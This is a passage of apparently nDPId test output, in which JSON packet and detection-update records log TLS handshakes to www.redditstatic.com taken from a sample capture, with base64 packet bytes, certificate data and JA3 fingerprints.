+00454{"flow_id":8,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":495,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":117442,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc+BQBJhFwR09RgBALMLIOAAABAQgKwtc41ql05gs="} +00455{"flow_id":9,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":496,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":117442,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc+p6YTHX6uGUxgBALMGC\/AAABAQgKwtc41ql05gs="} +00455{"flow_id":7,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":497,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":117535,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc9o6MJX\/sl7sQgBALMFAHAAABAQgKwtc41ql05gs="} +01862{"flow_id":8,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":498,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":127575,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc+BQBJhFwR09RgBgLMDkrAAABAQgKwtc42Kl05gsWAwMAUgIAAE4DA4yhuxJ8cIU0x\/UfQJqgjG9j52fjJQKhYXSxkWb+I0O2AMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMK1gsACtIACs8ABjEwggYtMIIFFaADAgECAhAKKFSCcBAsMFQOJUmxyqxYMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIgU2VjdXJlIFNlcnZlciBDQTAeFw0yMDA4MjYwMDAwMDBaFw0yMTAyMjIxMjAwMDBaMG8xCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRQwEgYDVQQKEwtSZWRkaXQgSW5jLjEdMBsGA1UEAxMUd3d3LnJlZGRpdHN0YXRpYy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC6joCtz\/XpIsmJDC1IQp8NmK79cp42u8wGU1+lRLzNGCN3Oih+bKGJg97Ah7p9AbLaWK0tgyBtFZgkMmY7Jo\/G212kqsCOVM9Th2+rA37LRUL0hA1hYOr7ZloEcI3QHvDG3fMi0MJnQEJUwcYp0LD0lHN+nraQIuBRPUCvjIw59jCEP62Zn9JwJpJGvofXIIJTS1EowlPz0+3NaMoHDR7OifayHdEBn2Cno669wEo1cOfeSogRHUJJgRRUIZuKl4av4KEC0nBDWQlUz2ybLpzENnVqWwK1YiWNlZbF1dwm7oBP9Rvj5VUjzV4rIfFfREPsh+BA\/UlEB0RX0AUqnSkLAgMBAAGjggLlMIIC4TAfBgNVHSMEGDAWgBQPgGEcgjFh1S8o541GOLQs4cbZ4jAdBgNVHQ4EFgQUU1Nk92iGK6OQNjntaEa8GWH6n3IwHwYDVR0RBBgwFoIUd3d3LnJlZGRpdHN0YXRpYy5jb20wDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBrBgNVHR8EZDBiMC+gLaArhilodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vc3NjYS1zaGEyLWc2LmNybDAvoC2gK4YpaHR0cDovL2NybDQuZGlnaWNlcnQuY29tL3NzY2Etc2hhMi1nNi5jcmwwTAYDVR0gBEUwQzA3BglghkgBhv1sAQEwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAIBgZngQwBAgIwfAYIKwYBBQUHAQEEcDBuMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5k"} +00886{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":498,"source":"reddit.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":7,"flow_first_seen":1605291686035,"flow_last_seen":1605291686127,"flow_tot_l4_data_len":1805,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":257,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56568,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.redditstatic.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00436{"flow_id":8,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":499,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":127595,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gDDz0ABQGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PgBu3BHT1EAAAAAUAQAALuiAAA="} +01876{"flow_id":8,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":500,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":128442,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc+BQBKilwR09RgBgLME\/tAAABAQgKwtc42Kl05gtpZ2ljZXJ0LmNvbTBGBggrBgEFBQcwAoY6aHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0U0hBMlNlY3VyZVNlcnZlckNBLmNydDAMBgNVHRMBAf8EAjAAMIIBBgYKKwYBBAHWeQIEAgSB9wSB9ADyAHcA9lyUL9F3MCIUVBgIMJRWjuNNExkzv98MLyALzE7xZOMAAAF0K20\/5wAABAMASDBGAiEAiy\/NpMsrxX4NPRiywukHBK6R\/pCgL3Vhc1up6+AidW0CIQDz9D8NezZsRrUc3wGg77Eyt8LmuPddkuJr1o+DsjsE6AB3AFzcQ5L+5qtFRLFemtRW5hA3+9X6R9yhc5SyXub2xw7KAAABdCttQAYAAAQDAEgwRgIhAItPzNRHIdXjIN4FIrjwKOH7FmgzXk547It0N2wg9K\/BAiEA4os1meO9nrLOvLsGmqrYNP\/KyTyMuVKX\/y7NtZPGke4wDQYJKoZIhvcNAQELBQADggEBAAQVtGBz45msis0C3DHIp\/65v0dS9461RynUNplCMH8lsyrZKai0Fiufg0G9GshjOnGAAqFD8DJ2bkxjCcUGPHtFDJqO6e9RuuvI9Y\/QSvEgcDwVd\/MABXS\/myghO9BBFgZTmewnqMRHxumedWBfgAR4YaiZWf96gntktsPZJ6sm7ROWW\/94KaJIoz43f+t8BjXPShOi6L1GQgluEnlDn8iUU1XI76oOQy4pAsBh1iaSynNG\/7oIzd+Ysvilt7Z82q3hn9bxs8ozplRROd6nxTuyqaf1UELV\/J87lhWruxIKut8v3FHagkNKhv79j\/yRjpPMUDvQfygUrVdU9k6zvewABJgwggSUMIIDfKADAgECAhAB\/aPrbsp1yIhDi3JLz7yRMA0GCSqGSIb3DQEBCwUAMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMB4XDTEzMDMwODEyMDAwMFoXDTIzMDMwODEyMDAwMFowTTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEnMCUGA1UEAxMeRGlnaUNlcnQgU0hBMiBTZWN1cmUgU2VydmVyIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3K5YkE3BxDAVkDVbbjyCFfUsXL3j2\/9xQ\/pkJYDU7hiiTfBm0ApzbhGYNhdkrzed\/fpBhK\/Hr4z+GnNNzzOXkKKWh1ODK7mmdUgtHVY3e9oxMhrXrKsG9KpdS7dHRt0qk8OQLnmAgO8TBGoUO7Wbkr7CB2VO"} +01861{"flow_id":9,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":501,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":128443,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc+p6YTHX6uGUxgBgLMFL5AAABAQgKwtc42Kl05gsWAwMAUgIAAE4DA3OBPsdq6kbapXMJejTAiHQndyFmO6BUnPHV6E6qG+bKAMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMK1gsACtIACs8ABjEwggYtMIIFFaADAgECAhAKKFSCcBAsMFQOJUmxyqxYMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIgU2VjdXJlIFNlcnZlciBDQTAeFw0yMDA4MjYwMDAwMDBaFw0yMTAyMjIxMjAwMDBaMG8xCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRQwEgYDVQQKEwtSZWRkaXQgSW5jLjEdMBsGA1UEAxMUd3d3LnJlZGRpdHN0YXRpYy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC6joCtz\/XpIsmJDC1IQp8NmK79cp42u8wGU1+lRLzNGCN3Oih+bKGJg97Ah7p9AbLaWK0tgyBtFZgkMmY7Jo\/G212kqsCOVM9Th2+rA37LRUL0hA1hYOr7ZloEcI3QHvDG3fMi0MJnQEJUwcYp0LD0lHN+nraQIuBRPUCvjIw59jCEP62Zn9JwJpJGvofXIIJTS1EowlPz0+3NaMoHDR7OifayHdEBn2Cno669wEo1cOfeSogRHUJJgRRUIZuKl4av4KEC0nBDWQlUz2ybLpzENnVqWwK1YiWNlZbF1dwm7oBP9Rvj5VUjzV4rIfFfREPsh+BA\/UlEB0RX0AUqnSkLAgMBAAGjggLlMIIC4TAfBgNVHSMEGDAWgBQPgGEcgjFh1S8o541GOLQs4cbZ4jAdBgNVHQ4EFgQUU1Nk92iGK6OQNjntaEa8GWH6n3IwHwYDVR0RBBgwFoIUd3d3LnJlZGRpdHN0YXRpYy5jb20wDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBrBgNVHR8EZDBiMC+gLaArhilodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vc3NjYS1zaGEyLWc2LmNybDAvoC2gK4YpaHR0cDovL2NybDQuZGlnaWNlcnQuY29tL3NzY2Etc2hhMi1nNi5jcmwwTAYDVR0gBEUwQzA3BglghkgBhv1sAQEwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAIBgZngQwBAgIwfAYIKwYBBQUHAQEEcDBuMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5k"} +00886{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":501,"source":"reddit.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":7,"flow_first_seen":1605291686035,"flow_last_seen":1605291686128,"flow_tot_l4_data_len":1805,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":257,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56570,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.redditstatic.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01866{"flow_id":8,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":502,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":128443,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc+BQBLkFwR09RgBgLMIkLAAABAQgKwtc42Kl05gv82vz\/eq7cXH5VMQzoOQek174v0wtq0rHfX\/5XdFM7NYDdro5EmLOfDtPa4Nf0aymrRKdLWIRtkkuBw9pzixKXSJAERXUa3Tcxl5LozVQNO+TBPzleLrjzXH4QjoZBAI1FZkewoWXOoKopCU7zl+voLqsPcqcwDvrH9P0Ud8OkWyhXwrP5gv23RVibAgMBAAGjggFaMIIBVjASBgNVHRMBAf8ECDAGAQH\/AgEAMA4GA1UdDwEB\/wQEAwIBhjA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTB7BgNVHR8EdDByMDegNaAzhjFodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vRGlnaUNlcnRHbG9iYWxSb290Q0EuY3JsMDegNaAzhjFodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vRGlnaUNlcnRHbG9iYWxSb290Q0EuY3JsMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMB0GA1UdDgQWBBQPgGEcgjFh1S8o541GOLQs4cbZ4jAfBgNVHSMEGDAWgBQD3lA1VtFMu2bwo+IbG8OXsj3RVTANBgkqhkiG9w0BAQsFAAOCAQEAIz7fS9IxQqW2fkJcGkTMadFotF1L4AQhbEvibcyx4JePplMJzaoqZeU5Tx6DpW5cmKIkJub7oe2Txy4Cxk1Kv7BC33jas6j5bf8hhVM2YEx2zuw43NZRgPDF1uXUTSdkq5vHPnH7SJe4M23JEwfulqIbGBX2XExA7bPC7P9xweNH\/9S5ALQ3Qtogyepuiu4UBq59olmYiKgbby308skUXybPLI1+7TfAqdU5uYK\/GQzqNK8AIWj4rXPiyTLaOCULVdOaHfBohu0uQTTvfKVQHb86+dPBCAzm7R6KWCXkuHetLW71Ut20dI+rSS6dO5M0KB94zpTqx73TyW0c3lwy8xYDAwHfFgAB2wEAAdcwggHTCgEAoIIBzDCCAcgGCSsGAQUFBzABAQSCAbkwggG1MIGeohYEFA+AYRyCMWHVLyjnjUY4tCzhxtniGA8yMDIwMTExMjIxMjA1NFowczBxMEkwCQYFKw4DAhoFAAQUEF+meoAInbUnnzXOgwtDiJ6jxw0EFA+AYRyCMWHVLyjnjUY4tCzhxtniAhAKKFSCcBAsMFQOJUmxyqxYgAAYDzIwMjAxMTEyMjEyMDU0WqARGA8yMDIwMTExOTIwMzU1NFowDQYJKoZIhvcNAQELBQADggEBABeB6JqTyRqpznuNqjuGqK1A1QRem\/bt7r3xHqNn7pAlcMLfp0mKD4Z\/4wWMOz\/68m3Y"} +01160{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":502,"source":"reddit.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":10,"flow_first_seen":1605291686035,"flow_last_seen":1605291686128,"flow_tot_l4_data_len":3985,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":398,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56568,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.redditstatic.com","server_names":"www.redditstatic.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, CN=DigiCert SHA2 Secure Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Reddit Inc., CN=www.redditstatic.com","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"24:BA:A2:05:04:98:6C:4E:72:57:0C:2C:45:25:9D:1F:8E:C3:CC:A8"}} +01875{"flow_id":9,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":503,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":128443,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc+p6YUI36uGUxgBgLMP6dAAABAQgKwtc42Kl05gtpZ2ljZXJ0LmNvbTBGBggrBgEFBQcwAoY6aHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0U0hBMlNlY3VyZVNlcnZlckNBLmNydDAMBgNVHRMBAf8EAjAAMIIBBgYKKwYBBAHWeQIEAgSB9wSB9ADyAHcA9lyUL9F3MCIUVBgIMJRWjuNNExkzv98MLyALzE7xZOMAAAF0K20\/5wAABAMASDBGAiEAiy\/NpMsrxX4NPRiywukHBK6R\/pCgL3Vhc1up6+AidW0CIQDz9D8NezZsRrUc3wGg77Eyt8LmuPddkuJr1o+DsjsE6AB3AFzcQ5L+5qtFRLFemtRW5hA3+9X6R9yhc5SyXub2xw7KAAABdCttQAYAAAQDAEgwRgIhAItPzNRHIdXjIN4FIrjwKOH7FmgzXk547It0N2wg9K\/BAiEA4os1meO9nrLOvLsGmqrYNP\/KyTyMuVKX\/y7NtZPGke4wDQYJKoZIhvcNAQELBQADggEBAAQVtGBz45msis0C3DHIp\/65v0dS9461RynUNplCMH8lsyrZKai0Fiufg0G9GshjOnGAAqFD8DJ2bkxjCcUGPHtFDJqO6e9RuuvI9Y\/QSvEgcDwVd\/MABXS\/myghO9BBFgZTmewnqMRHxumedWBfgAR4YaiZWf96gntktsPZJ6sm7ROWW\/94KaJIoz43f+t8BjXPShOi6L1GQgluEnlDn8iUU1XI76oOQy4pAsBh1iaSynNG\/7oIzd+Ysvilt7Z82q3hn9bxs8ozplRROd6nxTuyqaf1UELV\/J87lhWruxIKut8v3FHagkNKhv79j\/yRjpPMUDvQfygUrVdU9k6zvewABJgwggSUMIIDfKADAgECAhAB\/aPrbsp1yIhDi3JLz7yRMA0GCSqGSIb3DQEBCwUAMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMB4XDTEzMDMwODEyMDAwMFoXDTIzMDMwODEyMDAwMFowTTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEnMCUGA1UEAxMeRGlnaUNlcnQgU0hBMiBTZWN1cmUgU2VydmVyIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3K5YkE3BxDAVkDVbbjyCFfUsXL3j2\/9xQ\/pkJYDU7hiiTfBm0ApzbhGYNhdkrzed\/fpBhK\/Hr4z+GnNNzzOXkKKWh1ODK7mmdUgtHVY3e9oxMhrXrKsG9KpdS7dHRt0qk8OQLnmAgO8TBGoUO7Wbkr7CB2VO"} +00437{"flow_id":8,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":504,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":128450,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gDDz0ABQGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PgBu3BHT1EAAAAAUAQAALuiAAA="} +00437{"flow_id":9,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":505,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":128460,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gCLKYABQGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PoBu\/q4ZTEAAAAAUAQAABtPAAA="} +00437{"flow_id":8,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":506,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":128462,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gDDz0ABQGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PgBu3BHT1EAAAAAUAQAALuiAAA="} +01159{"flow_id":8,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":507,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":128566,"pkt_caplen":606,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":606,"pkt_l4_len":552,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAigGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc+BQBMllwR09RgBgLMDYoAAABAQgKwtc42Kl05gs0oxSJU7Q1xjHlIjL9scjBhPuAEq0GCjMtFYiE7RJduMg4k0Ct9ZVwlb\/tOfyduWomz4zyeZVSJcuz082cUMYPrFas2XrpIIwdEdRaYS92wFLz1XeFYdwh7zq\/N7Upjur0hrtQfEue4+5ZqhbVR01oJNp4anHrUePIzlEnIT\/kcFsvAfnzhY8sCe6\/eHPlYmFh5NUqF382WuxmyYl4R2jC00MjKyceQCe+GA7mY6N19PTuAOUiLxpJNmIq9pmPNVdOG9Iimp3HvGkitHGB3xYDAwEsDAABKAMAHSCWDCY8Zh\/4c5QIux2ngbaHM49eTZRNqHHO1FDC4WPqOwgEAQCeJO80DEkaslpwwhrS5u+fRWKNnEolFXbXnpUcgCAxed+B4Z7Lpy4AX8zUo5TtAbthrY2Lbu03Y77JGrROZipwiNkcISlxq3ejt3MZG5gswLTmkmRyDIu8HFyTUhl8OYynep4icTTFbAzwIWRqj2dcrFfBXaCN8+8194VAcf7qm6LtaPYOoZi5dd64Et+f1MAkJin4AmTqVaC2wmAFNSgbm6ne1IbRkeaaLEY2N6syakRwgpXxHlwdmZqnqkrmRP3YKKZxV\/jdtDoRbJHudVTVeqxIT4QMgCxk\/ZKpUjKzI\/byMbgEl4u8wpMcPy2o9fO4RTkkHPB9v\/1ypMT2JX3cFgMDAAQOAAAA"} +01866{"flow_id":9,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":508,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":128567,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc+p6YVKX6uGUxgBgLMDe8AAABAQgKwtc42Kl05gv82vz\/eq7cXH5VMQzoOQek174v0wtq0rHfX\/5XdFM7NYDdro5EmLOfDtPa4Nf0aymrRKdLWIRtkkuBw9pzixKXSJAERXUa3Tcxl5LozVQNO+TBPzleLrjzXH4QjoZBAI1FZkewoWXOoKopCU7zl+voLqsPcqcwDvrH9P0Ud8OkWyhXwrP5gv23RVibAgMBAAGjggFaMIIBVjASBgNVHRMBAf8ECDAGAQH\/AgEAMA4GA1UdDwEB\/wQEAwIBhjA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTB7BgNVHR8EdDByMDegNaAzhjFodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vRGlnaUNlcnRHbG9iYWxSb290Q0EuY3JsMDegNaAzhjFodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vRGlnaUNlcnRHbG9iYWxSb290Q0EuY3JsMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMB0GA1UdDgQWBBQPgGEcgjFh1S8o541GOLQs4cbZ4jAfBgNVHSMEGDAWgBQD3lA1VtFMu2bwo+IbG8OXsj3RVTANBgkqhkiG9w0BAQsFAAOCAQEAIz7fS9IxQqW2fkJcGkTMadFotF1L4AQhbEvibcyx4JePplMJzaoqZeU5Tx6DpW5cmKIkJub7oe2Txy4Cxk1Kv7BC33jas6j5bf8hhVM2YEx2zuw43NZRgPDF1uXUTSdkq5vHPnH7SJe4M23JEwfulqIbGBX2XExA7bPC7P9xweNH\/9S5ALQ3Qtogyepuiu4UBq59olmYiKgbby308skUXybPLI1+7TfAqdU5uYK\/GQzqNK8AIWj4rXPiyTLaOCULVdOaHfBohu0uQTTvfKVQHb86+dPBCAzm7R6KWCXkuHetLW71Ut20dI+rSS6dO5M0KB94zpTqx73TyW0c3lwy8xYDAwHfFgAB2wEAAdcwggHTCgEAoIIBzDCCAcgGCSsGAQUFBzABAQSCAbkwggG1MIGeohYEFA+AYRyCMWHVLyjnjUY4tCzhxtniGA8yMDIwMTExMjIxMjA1NFowczBxMEkwCQYFKw4DAhoFAAQUEF+meoAInbUnnzXOgwtDiJ6jxw0EFA+AYRyCMWHVLyjnjUY4tCzhxtniAhAKKFSCcBAsMFQOJUmxyqxYgAAYDzIwMjAxMTEyMjEyMDU0WqARGA8yMDIwMTExOTIwMzU1NFowDQYJKoZIhvcNAQELBQADggEBABeB6JqTyRqpznuNqjuGqK1A1QRem\/bt7r3xHqNn7pAlcMLfp0mKD4Z\/4wWMOz\/68m3Y"} 